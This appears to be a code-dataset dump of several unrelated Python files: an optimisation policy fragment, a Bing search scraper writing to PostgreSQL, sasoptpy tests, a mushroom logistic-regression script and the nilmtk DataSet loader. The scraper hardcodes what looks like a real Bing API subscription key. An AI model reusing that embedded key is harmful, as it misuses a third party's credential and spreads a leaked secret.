penalty_grad, w_bound,\n horizon)\n return z_star, opt_val\n\n def to_serializable(self) -> Dict:\n \"\"\"Return a serializable object, that can be used by a JSON Encoder\"\"\"\n return clean_to_serializable(self)\n", "sub_path": "src/snc/agents/hedgehog/policies/big_step_w_bound_policy.py", "file_name": "big_step_w_bound_policy.py", "file_ext": "py", "file_size_in_byte": 7797, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "snc.utils.snc_types.StateSpace", "line_number": 14, "usage_type": "attribute"}, {"api_name": "snc.utils.snc_types", "line_number": 14, "usage_type": "name"}, {"api_name": "snc.utils.snc_types.ConstituencyMatrix", "line_number": 15, "usage_type": "attribute"}, {"api_name": "snc.utils.snc_types", "line_number": 15, "usage_type": "name"}, {"api_name": "snc.utils.snc_types.StateSpace", "line_number": 16, "usage_type": "attribute"}, {"api_name": "snc.utils.snc_types", "line_number": 16, "usage_type": "name"}, {"api_name": "snc.utils.snc_types.BufferMatrix", "line_number": 17, "usage_type": "attribute"}, {"api_name": "snc.utils.snc_types", "line_number": 17, "usage_type": "name"}, {"api_name": "snc.utils.snc_types.WorkloadMatrix", "line_number": 18, "usage_type": "attribute"}, {"api_name": "snc.utils.snc_types", "line_number": 18, "usage_type": "name"}, {"api_name": "numpy.maximum", "line_number": 51, "usage_type": "call"}, {"api_name": "snc.utils.snc_types.ResourceSpace", "line_number": 68, "usage_type": "attribute"}, {"api_name": "snc.utils.snc_types", "line_number": 68, "usage_type": "name"}, {"api_name": "snc.utils.snc_types.ResourceSpace", "line_number": 69, "usage_type": "attribute"}, {"api_name": "snc.utils.snc_types", "line_number": 69, "usage_type": "name"}, {"api_name": "cvxpy.Variable", "line_number": 79, "usage_type": "call"}, {"api_name": "cvxpy.Variable", "line_number": 80, "usage_type": "call"}, {"api_name": "cvxpy.Parameter", "line_number": 81, "usage_type": "call"}, {"api_name": "cvxpy.Parameter", "line_number": 82, "usage_type": "call"}, {"api_name": "cvxpy.Parameter", "line_number": 83, "usage_type": "call"}, {"api_name": "cvxpy.Parameter", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 90, "usage_type": "call"}, {"api_name": "cvxpy.Minimize", "line_number": 96, "usage_type": "call"}, {"api_name": "cvxpy.Problem", "line_number": 107, "usage_type": "call"}, {"api_name": "snc.utils.snc_types.StateSpace", "line_number": 110, "usage_type": "attribute"}, {"api_name": "snc.utils.snc_types", "line_number": 110, "usage_type": "name"}, {"api_name": "snc.utils.snc_types.ColVector", "line_number": 111, "usage_type": "attribute"}, {"api_name": "snc.utils.snc_types", "line_number": 111, "usage_type": "name"}, {"api_name": "snc.utils.snc_types.WorkloadSpace", "line_number": 112, "usage_type": "attribute"}, {"api_name": "snc.utils.snc_types", "line_number": 112, "usage_type": "name"}, {"api_name": "snc.utils.snc_types.StateSpace", "line_number": 139, "usage_type": "attribute"}, {"api_name": "snc.utils.snc_types", "line_number": 139, "usage_type": "name"}, {"api_name": "snc.utils.snc_types.ColVector", "line_number": 140, "usage_type": "attribute"}, {"api_name": "snc.utils.snc_types", "line_number": 140, "usage_type": "name"}, {"api_name": "snc.utils.snc_types.WorkloadSpace", "line_number": 141, "usage_type": "attribute"}, {"api_name": "snc.utils.snc_types", "line_number": 141, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 142, "usage_type": "name"}, {"api_name": "snc.utils.snc_types.ColVector", "line_number": 142, "usage_type": "attribute"}, {"api_name": "snc.utils.snc_types", "line_number": 142, "usage_type": "name"}, {"api_name": "snc.simulation.store_data.numpy_encoder.clean_to_serializable", "line_number": 163, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 161, "usage_type": "name"}]} +{"seq_id": "242575110", "text": "from timeout import TimeoutError\nfrom timeout import timeout\nimport pandas as pd\nimport urllib.error\nimport requests\nimport psycopg2\nimport time\nimport sys\nimport os\nimport re\n\nurl = 'https://api.cognitive.microsoft.com/bing/v7.0/search?mkt=it-IT&q='\nheaders = {'Ocp-Apim-Subscription-Key':'8006a3ee9ffa4faabae672b646c5ee2b',}\n\ndata_dir = \"../data/\"\ntesi_US = \"\"\ntesi_UK = \"tesi_US/US_PhD_dissertations.xlsx\"\ncarriere_dir = data_dir + \"tesi_US/carriere/excel/\"\n\n@timeout(2)\ndef sendRequest(url, heads=None):\n try:\n res = requests.get(url, headers=heads)\n return res\n except urllib.error.HTTPError:\n print(\"request error\")\n\nwith open(\"PQLaphrodite.txt\", \"r\") as f:\n db = f.readline()[:-1]\n user = f.readline()[:-1]\n host = f.readline()[:-1]\n pwd = f.readline()[:-1]\n\ntry:\n connect_str = \"dbname='\"+db+\"' user='\"+user+\"' host='\"+host+\"' \" + \\\n \"password='\"+pwd+\"'\"\n conn = psycopg2.connect(connect_str)\n cur = conn.cursor()\nexcept Exception as e:\n print(e)\n sys.exit(1)\n\ndata = pd.read_excel(\"excel/Wittgenstein in abstract 1981-2010.xlsx\")\n\nfor index, row in data.iterrows():\n print(index)\n author = re.sub(r'^\\s*',\"\",str(row[2]))\n if author == \"nan\":\n continue\n\n names = author.split()\n if len(names) > 2:\n author = names[1]+\" \"+names[0][0:-1]\n\n query1 = author\n query2 = \"site:academia.edu+\"+author\n query3 = \"site:researchgate.net+\"+author\n query4 = \"site:linkedin.com+\"+author\n for query in [query1, query2, query3, query4]:\n while True:\n try:\n time.sleep(0.001)\n resp = sendRequest(url+query, headers)\n if resp != False and resp.status_code == 200:\n resp = resp.json()\n break\n except TimeoutError:\n print(\"timeout\")\n continue\n\n try:\n test = resp[\"webPages\"]\n except KeyError:\n print(\"\\t0 results\")\n break\n except TypeError:\n print(\"\\tType error\")\n continue\n\n for page in resp[\"webPages\"][\"value\"]:\n try:\n cur.execute(\"INSERT INTO autori_bing (file, autore, query, url) VALUES (%s,%s,%s,%s);\",(\"Wittgenstein in abstract 1981-2010.xlsx\", author, query, page['url']))\n conn.commit()\n except psycopg2.ProgrammingError:\n print(\"Programming error\")\n cur.execute(\"rollback\")\n except psycopg2.DataError:\n print(\"Data error\")\n cur.execute(\"rollback\")\n except ValueError:\n print(\"Value error\")\n cur.execute(\"rollback\")\n", "sub_path": "bing/searchAuthors_carriere.py", "file_name": "searchAuthors_carriere.py", "file_ext": "py", "file_size_in_byte": 2713, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "requests.get", "line_number": 23, "usage_type": "call"}, {"api_name": "urllib.error.error", "line_number": 25, "usage_type": "attribute"}, {"api_name": "urllib.error", "line_number": 25, "usage_type": "name"}, {"api_name": "timeout.timeout", "line_number": 20, "usage_type": "call"}, {"api_name": "psycopg2.connect", "line_number": 37, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 41, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 43, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 47, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 62, "usage_type": "call"}, {"api_name": "timeout.TimeoutError", "line_number": 67, "usage_type": "name"}, {"api_name": "psycopg2.ProgrammingError", "line_number": 84, "usage_type": "attribute"}, {"api_name": "psycopg2.DataError", "line_number": 87, "usage_type": "attribute"}]} +{"seq_id": "521666751", "text": "#!/usr/bin/env python\n# encoding: utf-8\n#\n# Copyright SAS Institute\n#\n# Licensed under the Apache License, Version 2.0 (the License);\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport unittest\nfrom inspect import cleandoc\n\nimport sasoptpy as so\n\n\nclass TestPackageUtils(unittest.TestCase):\n\n def setUp(self):\n so.reset()\n\n def test_extract_arguments(self):\n x = so.VariableGroup(['a', 'b', 'c'], [1, 2, 3], name='x')\n def1 = so.to_definition(x)\n\n y = so.VariableGroup(('a', 'b', 'c'), (1, 2, 3), name='x')\n def2 = so.to_definition(y)\n\n self.assertEqual(def1, def2)\n\n def test_extract_list_value(self):\n m = so.Model(name='test_extract_list_vals')\n S = ['a', 'b', 'c']\n lb_values = {'a': 1, 'b': 0, 'c': 2}\n ub_values = {'a': 5, 'b': 10}\n init_values = {'b': 2, 'c': 3}\n x = m.add_variables(S, name='x', ub=ub_values, lb=lb_values,\n init=init_values)\n self.assertEqual(so.to_optmodel(m), cleandoc('''\n proc optmodel;\n min test_extract_list_vals_obj = 0;\n var x {{'a','b','c'}};\n x['a'].lb = 1;\n x['a'].ub = 5;\n x['b'] = 2;\n x['b'].lb = 0;\n x['b'].ub = 10;\n x['c'] = 3;\n x['c'].lb = 2;\n solve;\n quit;\n '''))\n\n def produce_error():\n from collections import OrderedDict\n ind = ['a', 'b', 'c']\n y_lb = set([0, 1, 2])\n y = m.add_variables(ind, name='y', lb=y_lb)\n self.assertRaises(ValueError, produce_error)\n\n def test_deprecation(self):\n def call_tuple_unpack():\n so.util.tuple_unpack((1,2,))\n self.assertWarns(DeprecationWarning, call_tuple_unpack)\n def call_tuple_pack():\n so.util.tuple_pack(1)\n self.assertWarns(DeprecationWarning, call_tuple_pack)\n def call_list_pack():\n so.util.list_pack((1,2,3))\n self.assertWarns(DeprecationWarning, call_list_pack)\n def call_wrap():\n so.util.wrap(5)\n self.assertWarns(DeprecationWarning, call_wrap)\n\n def test_sum_wrap(self):\n x = so.Variable(name='x')\n e = so.expr_sum(x for _ in range(3))\n self.assertEqual(so.to_expression(e), '3 * x')\n\n def test_sum_wrap_abstract(self):\n I = so.Set(name='I')\n x = so.Variable(name='x')\n e = so.expr_sum(x for i in I)\n self.assertEqual(so.to_expression(e), 'sum {i in I} (x)')\n\n def test_comparable(self):\n self.assertTrue(so.util.is_comparable(4))\n self.assertFalse(so.util.is_comparable(dict()))\n self.assertTrue(so.util.is_comparable('abc'))\n\n def test_flatten_tuple(self):\n tp = (3, 4, (5, (1, 0), 2))\n self.assertEqual(list(so.util.flatten_tuple(tp)),\n [3, 4, 5, 1, 0, 2])\n\n def test_sas_string(self):\n S = so.exp_range(1, 11, 2)\n self.assertEqual(so.util.package_utils._to_sas_string(S), '1..10 by 2')\n\n def invalid_type():\n from collections import OrderedDict\n so.util.package_utils._to_sas_string(OrderedDict(a=4))\n self.assertRaises(TypeError, invalid_type)\n", "sub_path": "tests/utils/test_package_utils.py", "file_name": "test_package_utils.py", "file_ext": "py", "file_size_in_byte": 3724, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "unittest.TestCase", "line_number": 25, "usage_type": "attribute"}, {"api_name": "sasoptpy.reset", "line_number": 28, "usage_type": "call"}, {"api_name": "sasoptpy.VariableGroup", "line_number": 31, "usage_type": "call"}, {"api_name": "sasoptpy.to_definition", "line_number": 32, "usage_type": "call"}, {"api_name": "sasoptpy.VariableGroup", "line_number": 34, "usage_type": "call"}, {"api_name": "sasoptpy.to_definition", "line_number": 35, "usage_type": "call"}, {"api_name": "sasoptpy.Model", "line_number": 40, "usage_type": "call"}, {"api_name": "sasoptpy.to_optmodel", "line_number": 47, "usage_type": "call"}, {"api_name": "inspect.cleandoc", "line_number": 47, "usage_type": "call"}, {"api_name": "sasoptpy.util.tuple_unpack", "line_number": 71, "usage_type": "call"}, {"api_name": "sasoptpy.util", "line_number": 71, "usage_type": "attribute"}, {"api_name": "sasoptpy.util.tuple_pack", "line_number": 74, "usage_type": "call"}, {"api_name": "sasoptpy.util", "line_number": 74, "usage_type": "attribute"}, {"api_name": "sasoptpy.util.list_pack", "line_number": 77, "usage_type": "call"}, {"api_name": "sasoptpy.util", "line_number": 77, "usage_type": "attribute"}, {"api_name": "sasoptpy.util.wrap", "line_number": 80, "usage_type": "call"}, {"api_name": "sasoptpy.util", "line_number": 80, "usage_type": "attribute"}, {"api_name": "sasoptpy.Variable", "line_number": 84, "usage_type": "call"}, {"api_name": "sasoptpy.expr_sum", "line_number": 85, "usage_type": "call"}, {"api_name": "sasoptpy.to_expression", "line_number": 86, "usage_type": "call"}, {"api_name": "sasoptpy.Set", "line_number": 89, "usage_type": "call"}, {"api_name": "sasoptpy.Variable", "line_number": 90, "usage_type": "call"}, {"api_name": "sasoptpy.expr_sum", "line_number": 91, "usage_type": "call"}, {"api_name": "sasoptpy.to_expression", "line_number": 92, "usage_type": "call"}, {"api_name": "sasoptpy.util.is_comparable", "line_number": 95, "usage_type": "call"}, {"api_name": "sasoptpy.util", "line_number": 95, "usage_type": "attribute"}, {"api_name": "sasoptpy.util.is_comparable", "line_number": 96, "usage_type": "call"}, {"api_name": "sasoptpy.util", "line_number": 96, "usage_type": "attribute"}, {"api_name": "sasoptpy.util.is_comparable", "line_number": 97, "usage_type": "call"}, {"api_name": "sasoptpy.util", "line_number": 97, "usage_type": "attribute"}, {"api_name": "sasoptpy.util.flatten_tuple", "line_number": 101, "usage_type": "call"}, {"api_name": "sasoptpy.util", "line_number": 101, "usage_type": "attribute"}, {"api_name": "sasoptpy.exp_range", "line_number": 105, "usage_type": "call"}, {"api_name": "sasoptpy.util.package_utils._to_sas_string", "line_number": 106, "usage_type": "call"}, {"api_name": "sasoptpy.util", "line_number": 106, "usage_type": "attribute"}, {"api_name": "sasoptpy.util.package_utils._to_sas_string", "line_number": 110, "usage_type": "call"}, {"api_name": "sasoptpy.util", "line_number": 110, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 110, "usage_type": "call"}]} +{"seq_id": "175486426", "text": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport math\n\n# import data\ndataset = pd.read_csv('mushrooms.csv')\n\n# sneak peak data\nprint(dataset.describe())\nprint(dataset.info())\nprint(dataset.head())\n\n# checking for any null\nprint(dataset.isnull().sum())\n\n# separating class as response, and others column as predictor\nX = dataset.drop('class',axis=1) # Predictors\nY = dataset['class'] #Response\nprint(X.head())\n\n# encode categorical data into number\nfrom sklearn.preprocessing import LabelEncoder\nEncoder_X = LabelEncoder() \nfor col in X.columns:\n X[col] = Encoder_X.fit_transform(X[col])\nEncoder_Y=LabelEncoder()\nY = Encoder_Y.fit_transform(Y)\nprint(X.head())\n\n# # separating train and target values\n# target = dataset['class']\n# train = dataset[['gill-size', 'gill-color']]\n# print(train.shape)\n# print(target.shape)\n\n\n# # In logistic regression, the link function is the sigmoid. We can implement this really easily.\n# # The sigmoid function has special properties that can result values in the range [0,1]. \n# # So you have large positive values of X, the sigmoid should be close to 1, \n# # while for large negative values, the sigmoid should be close to 0.\n\n# def sigmoid(theta, X):\n# X = np.array(X)\n# theta = np.asarray(theta)\n# return((1/(1+math.e**(-X.dot(theta)))))\n\n\n# # Function for the cost function of the logistic regression.\n# def cost(theta, X, Y):\n# first = np.multiply(-Y, np.log(sigmoid(theta,X)))\n# second = np.multiply((1 - Y), np.log(1 - sigmoid(theta,X)))\n# return np.sum(first - second) / (len(X)) \n\n# # calculates gradient of the log-likelihood function\n# def log_gradient(theta, X, Y):\n# first_calc = sigmoid(theta, X) - np.squeeze(Y).T\n# final_calc = first_calc.T.doc(X)\n# return(final_calc.T)\n\n# # function performing gradient descent\n# def gradient_Descent(theta, X, Y, itr_val, learning_rate=0.00001):\n# cost_iter = []\n# cost_val=cost(theta,X,Y)\n# cost_iter.append([0,cost_val])\n# itr = 0\n# while(itr < itr_val):\n# theta = theta - (0.01 * log_gradient(theta, X, Y))\n# cost_val = cost(theta, X, Y)\n# cost_iter.append([i, cost])\n# itr += 1\n# return theta\n\n# def pred_values(theta, X, hard=True):\n# X = (X - np.mean(X, axis=0))/np.std(X, axis=0)\n# pred_prob = sigmoid(theta, X)\n# pred_value = np.where(pred_prob >= .5, 1, 0)\n# return pred_value\n\n# theta = np.zeros\n# theta = np.asmatrix(theta)\n# theta = theta.T\n# target = np.asmatrix(target).T\n# y_test = list(target)\n\n# params = [10, 20, 30, 50, 100]\n# for i in range(len(params)):\n# th = gradient_Descent(theta,train,target,params[i])\n# y_pred = list(pred_values(th, train))\n# score = float(sum( 1 for x, y in zip(y_pred, y_test) if x == y)) / len(y_pred)\n# print(\"The accuracy after \" + '{}'.format(params[i]) + \" iteration is \" + '{}'.format(score))\n\n# from sklearn.linear_model import LogisticRegression\n# clf = LogisticRegression()\n# print(clf.fit(train, target))\n# print(clf.score(train, target))\n\n\n# split dataset into training and test set\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.3, random_state=42)\n\n\n# Logistic regression\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\nlr=LogisticRegression(max_iter=10000)\nlr.fit(X_train,y_train)\npred_1=lr.predict(X_test)\nscore_1=accuracy_score(y_test,pred_1)\nprint(pred_1)\nprint(score_1)", "sub_path": "logistic_regression.py", "file_name": "logistic_regression.py", "file_ext": "py", "file_size_in_byte": 3522, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pandas.read_csv", "line_number": 8, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 25, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 28, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 102, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LogisticRegression", "line_number": 108, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 111, "usage_type": "call"}]} +{"seq_id": "445320500", "text": "from __future__ import print_function, division\nimport os\nimport json\nimport copy\nimport sys\nimport pandas as pd\nfrom matplotlib.dates import SEC_PER_DAY\nfrom nilmtk.building import Building\nfrom nilmtk.sensors.electricity import MainsName\nfrom nilmtk.sensors.electricity import ApplianceName\nfrom nilmtk.sensors.electricity import Measurement\nfrom nilmtk.sensors.electricity import DualSupply\nfrom nilmtk.sensors.electricity import get_two_dataframes_of_dualsupply\nfrom nilmtk.utils import summary_stats_string\nfrom nilmtk.stats.electricity.building import proportion_of_energy_submetered\nfrom nilmtk.stats.electricity.building import get_dropout_rates\nfrom nilmtk.stats.electricity.single import get_uptime\nfrom nilmtk.stats.electricity.building import proportion_of_time_where_more_energy_submetered\n\n\"\"\"Base class for all datasets.\"\"\"\n\n\ndef create_time_query(start, end):\n if start is not None and end is not None:\n lower_bound = pd.Term(\n 'index', '>', pd.Timestamp(start))\n upper_bound = pd.Term(\n 'index', '<', pd.Timestamp(end))\n query = [lower_bound, upper_bound]\n elif start is None:\n upper_bound = pd.Term(\n 'index', '<', pd.Timestamp(end))\n query = [upper_bound]\n else:\n lower_bound = pd.Term(\n 'index', '>', pd.Timestamp(start))\n query = [lower_bound]\n return query\n\n\nclass DataSet(object):\n\n \"\"\"Base class for all datasets. This class can be used\n for loading nilmtk's REDD+ data format.\n\n Attributes\n ----------\n\n buildings : dict\n Each key is a string representing the name of the building and is\n preserved from the original dataset. Each value is a\n nilmtk.building.Building object.\n\n metadata : dict\n Metadata regarding this DataSet. Keys include:\n\n name : string\n Abbreviated name for the dataset, e.g. \"REDD\"\n\n full_name : string\n Full name of the dataset, eg. \"Reference Energy Disaggregation Data Set\"\n\n urls : list of strings, optional\n The URL(s) for more information about this dataset\n\n citations : list of strings, optional\n Academic citation(s) for this dataset\n\n nominal_voltage : float, optional\n\n timezone : string\n\n geographic_coordinates : pair (lat, long), optional\n The geo location of the research institution. Used as a fall back\n if geo location isn't available for any individual building.\n\n \"\"\"\n\n def __init__(self):\n self.buildings = {}\n self.metadata = {}\n\n def load(self, root_directory, buildings_to_load=None, **args):\n \"\"\"Load dataset into memory\n \n Parameters\n ---------\n root_direction : string\n buildings_to_load : list of strings, optional\n Use the native dataset names. e.g. 'house_1' for REDD.\n If none then load all buildings in the dataset.\n **args : optional\n named arguments to pass to load_building\n \"\"\"\n building_names = self.load_building_names(root_directory)\n if buildings_to_load:\n building_names = (set(building_names)\n .intersection(set(buildings_to_load)))\n for building in building_names:\n self.load_building(root_directory, building, **args)\n\n def load_hdf5(self, directory, building_nums=None, time_map=None):\n \"\"\"Imports dataset from HDF5 store into NILMTK object\n\n Parameters\n ----------\n\n directory : str\n Directory where the HDF5 store is located\n\n buildling_nums : list of ints, optional\n Building numbers to load\n\n time_map : dict, optional \n building number: (start, end) time to query\n \"\"\"\n # Load metadata if exists\n if os.path.isfile(os.path.join(directory, 'metadata.json')):\n with open(os.path.join(directory, 'metadata.json'), 'r') as metadata_fp:\n self.metadata = json.loads(metadata_fp.read())\n store = pd.HDFStore(\n os.path.join(directory, 'dataset.h5'))\n self.buildings = {}\n\n # Finding all keys stored in the HDF5 store\n keys = store.keys()\n\n # Finding the buildings\n building_numbers = list(set([key.split(\"/\")[1] for key in keys]))\n\n # Only use building nums the users asked for\n if building_nums:\n building_nums = [str(n) for n in building_nums]\n building_numbers = list(\n set(building_numbers).intersection(set(building_nums)))\n\n # Loading the structured information for each building\n for building_number in building_numbers:\n\n # Create a new building and add it to buildings\n b = Building()\n self.buildings[int(building_number)] = b\n\n # Find the keys which start with this particular building\n keys_building = [\n key for key in keys if key.split(\"/\")[1] == building_number]\n\n # Loading utilites\n keys_utilities = [\n key for key in keys_building if \"utility\" in key]\n\n # Load electric if len(keys_utilities)>0\n\n if len(keys_utilities) > 0:\n # Load electric\n keys_electric = [\n key for key in keys_utilities if \"electric\" in key]\n\n # Loading mains\n keys_mains = [\n key for key in keys_electric if \"mains\" in key]\n\n if len(keys_mains) > 0:\n b.utility.electric.mains = {}\n for key in keys_mains:\n mains_split = int(key.split(\"/\")[-2])\n mains_meter = int(key.split(\"/\")[-1])\n mains_name = MainsName(mains_split, mains_meter)\n\n if time_map is None:\n b.utility.electric.mains[\n mains_name] = store[key]\n\n else:\n if int(building_number) in time_map.keys():\n\n start, end = time_map[int(building_number)]\n query = create_time_query(start, end)\n\n else:\n query = []\n\n b.utility.electric.mains[\n mains_name] = store.select(key, query)\n\n # Loading appliances\n keys_appliances = [\n key for key in keys_electric if \"appliances\" in key]\n\n if len(keys_appliances) > 0:\n b.utility.electric.appliances = {}\n for key in keys_appliances:\n appliance_name = key.split(\"/\")[-2]\n appliance_instance = int(key.split(\"/\")[-1])\n appliance_name = ApplianceName(\n appliance_name, appliance_instance)\n if time_map is None:\n b.utility.electric.appliances[\n appliance_name] = store[key]\n else:\n if int(building_number) in time_map.keys():\n start, end = time_map[int(building_number)]\n query = create_time_query(start, end)\n else:\n query = []\n\n b.utility.electric.appliances[\n appliance_name] = store.select(key, query)\n\n # Closing the store\n store.close()\n\n def export_csv(self, directory):\n \"\"\"Exports dataset in nilmtk standard on-disk CSV format.\n\n Parameters\n ----------\n directory : Complete path where to export the data\n \"\"\"\n\n # Mapping from {Appliance/Mains/Circuit}Name to CSV name\n namedtuple_map = {'mains': lambda x: \"%d_%d.csv\" %\n (x.split, x.meter),\n 'appliances': lambda x: \"%s_%d.csv\" %\n (x.name, x.instance),\n 'circuits': lambda x: \"%s_%d_%d.csv\"\n % (x.name, x.split, x.meter)\n }\n # Mapping from {appliance/mains/circuit} to directory structure\n folder_path_map = {'mains': lambda x: \"building_%d/utility/electric/mains/\"\n % (building_number),\n 'appliances': lambda x: \"building_%d/utility/electric/appliances/\"\n % (building_number),\n 'circuits': lambda x: \"building_%d/utility/electric/circuits/\"\n % (building_number)\n }\n # Mapping from {Measurement/DualSupply} to CSV column header\n column_mapping = {'dual': lambda x: \"%s_%s_%d\" %\n (x.measurement.physical_quantity,\n x.measurement.type, x.supply),\n 'single': lambda x: \"%s_%s\" %\n (x.physical_quantity, x.type)\n }\n\n # Write metadata\n if not os.path.exists(directory):\n os.makedirs(directory)\n with open(os.path.join(directory, 'metadata.json'), 'w') as metadata_fp:\n metadata_fp.write(json.dumps(self.metadata))\n\n def create_path_df(building_number, df_name, df, df_type, column):\n \"\"\"Creates corresponding path in the nilmtk folder hierarchy for df,\n if the path does not exist. Also, saves the dataset in epoch unix\n timestamped CSVs. CSV name correpsond to namedtuple_map\n\n Parameters\n ----------\n building_number : nilmtk.Building number, int\n df_name : nilmtk.sensor.electricity.{appliance/mains/circuits}Name\n df : pandas.DataFrame consisting of DatetimeIndex and nilmtk.sensors.\n utility.electric.Measurement as columns\n df_type : string, one of ['mains', 'appliances','circuits']\n column: string, one of ['dual', 'single']\n \"\"\"\n\n dir_path = os.path.join(\n directory, folder_path_map[df_type](building_number))\n if not os.path.exists(dir_path):\n os.makedirs(dir_path)\n temp = df.copy()\n temp.index = (df.index.astype(int) / 1e9).astype(int)\n temp.rename(columns=column_mapping[column], inplace=True)\n temp.to_csv(os.path.join(dir_path, namedtuple_map[df_type\n ](df_name)),\n float_format='%.2f',\n index_label=\"timestamp\")\n\n for building_number in self.buildings:\n print(\"Writing data for building %d\" % (building_number))\n building = self.buildings[building_number]\n utility = building.utility\n electric = utility.electric\n mains = electric.mains\n appliances = electric.appliances\n circuits = electric.circuits\n for main_name, main_df in mains.iteritems():\n create_path_df(building_number, main_name,\n main_df, 'mains', 'single')\n\n for appliance_name, appliance_df in appliances.iteritems():\n if isinstance(appliance_df.columns[0], DualSupply):\n create_path_df(\n building_number, appliance_name, appliance_df,\n 'appliances', 'dual')\n else:\n create_path_df(\n building_number, appliance_name, appliance_df,\n 'appliances', 'single')\n\n for circuit_name, circuit_df in circuits.iteritems():\n create_path_df(building_number, circuit_name, circuit_df,\n 'circuit', 'single')\n\n def export(self, directory, format='HDF5', compact=False):\n \"\"\"Export dataset to disk as HDF5.\n\n Parameters\n ----------\n directory : str\n Output directory\n\n format : str, optional\n `REDD+` or `HDF5`\n\n compact : boolean, optional\n Defaults to false. If True then only save change points.\n \"\"\"\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n # Store metadata\n with open(os.path.join(directory, 'metadata.json'), 'w') as metadata_fp:\n metadata_fp.write(json.dumps(self.metadata))\n\n # Delete older dataset.h5 file if it exists\n path_h5 = os.path.join(directory, 'dataset.h5')\n if os.path.isfile(path_h5):\n print(\"Removing older HDF5 file\")\n os.remove(path_h5)\n\n store = pd.HDFStore(path_h5, complevel=9, complib='zlib')\n for building_number in self.buildings:\n print(\"Writing data for %d\" % (building_number))\n building = self.buildings[building_number]\n utility = building.utility\n electric = utility.electric\n mains = electric.mains\n for main in mains:\n\n store.put('/%d/utility/electric/mains/%d/%d/' %\n (building_number, main.split, main.meter),\n mains[main], table=True)\n appliances = electric.appliances\n for appliance in appliances:\n store.put('%d/utility/electric/appliances/%s/%d/' %\n (building_number, appliance.name,\n appliance.instance),\n appliances[appliance], table=True)\n store.close()\n\n # This will be overridden by each subclass\n def load_building_names(self, root_directory):\n \"\"\"return list of building names\"\"\"\n raise NotImplementedError\n\n # This will be overridden by each subclass\n def load_building(self, root_directory, building_name):\n # convert units\n # convert to standard appliance names\n raise NotImplementedError\n\n def to_json_temp(self):\n return json.dumps(self, default=lambda o: o.__dict__,\n sort_keys=True, indent=4)\n\n def to_json(self):\n '''Returns the JSON representation of the dataset'''\n representation = copy.copy(self.metadata)\n representation[\"buildings\"] = {}\n # Accessing list of buildings\n for building_name, building in self.buildings.iteritems():\n representation[\"buildings\"][building_name] = building.to_json()\n\n return json.dumps(representation)\n\n #------------------------------------------------------\n # DESCRIPTIONS OF THE DATASET\n\n def __str__(self):\n s = 'nilmtk.dataset.DataSet. '\n s += 'name=' + self.metadata.get('name', 'NOT DEFINED') + '\\n'\n return s\n\n def __repr__(self):\n return self.__str__()\n\n def descriptive_stats(self):\n # Collect lists of stats per building\n stats = {\n 'n_appliances': [],\n 'energy_submetered': [],\n 'proportion_up': [],\n 'dropout_rate': [],\n 'dropout_rate_ignoring_gaps': [],\n 'uptime': [],\n 'prop_timeslices': []\n }\n\n for building_num, building in self.buildings.iteritems():\n print('Calculating stats for building', building_num)\n electric = building.utility.electric\n stats['n_appliances'].append(len(electric.appliances))\n stats['energy_submetered'].append(\n proportion_of_energy_submetered(electric))\n stats['dropout_rate'].extend(get_dropout_rates(electric))\n stats['dropout_rate_ignoring_gaps'].extend(\n get_dropout_rates(electric, ignore_gaps=True))\n uptime = get_uptime(electric.mains.values()[0])\n stats['uptime'].append(uptime)\n start, end = electric.get_start_and_end_dates()\n stats['proportion_up'].append(uptime / ((end-start).total_seconds() \n / SEC_PER_DAY))\n stats['prop_timeslices'].append(\n proportion_of_time_where_more_energy_submetered(building))\n\n return stats\n\n def describe(self, fh=sys.stdout):\n # Prepare string representation of stats\n stats = self.descriptive_stats()\n\n s = ''\n s += 'METADATA:\\n'\n for key, value in self.metadata.iteritems():\n s += ' {} = {}\\n'.format(key, value)\n s += '\\n'\n s += 'NUMBER OF BUILDINGS: {:d}\\n\\n'.format(len(self.buildings))\n s += 'NUMBER OF APPLIANCES PER BUILDING:\\n'\n s += summary_stats_string(stats['n_appliances'])\n s += '\\n'\n s += 'PROPORTION OF ENERGY SUBMETERED PER BUILDLING:\\n'\n s += summary_stats_string(stats['energy_submetered'])\n s += '\\n'\n s += 'DROPOUT RATE PER CHANNEL, INCLUDING LARGE GAPS:\\n'\n s += summary_stats_string(stats['dropout_rate'])\n s += '\\n'\n s += 'DROPOUT RATE PER CHANNEL, IGNORING LARGE GAPS:\\n'\n s += summary_stats_string(stats['dropout_rate_ignoring_gaps'])\n s += 'MAINS UPTIME PER BUILDING (DAYS):\\n'\n s += summary_stats_string(stats['uptime'])\n s += '\\n'\n s += 'PROPORTION OF TIME SLICES WHERE > 70% ENERGY IS SUBMETERED:\\n'\n s += summary_stats_string(stats['prop_timeslices'])\n s += '\\n'\n\n 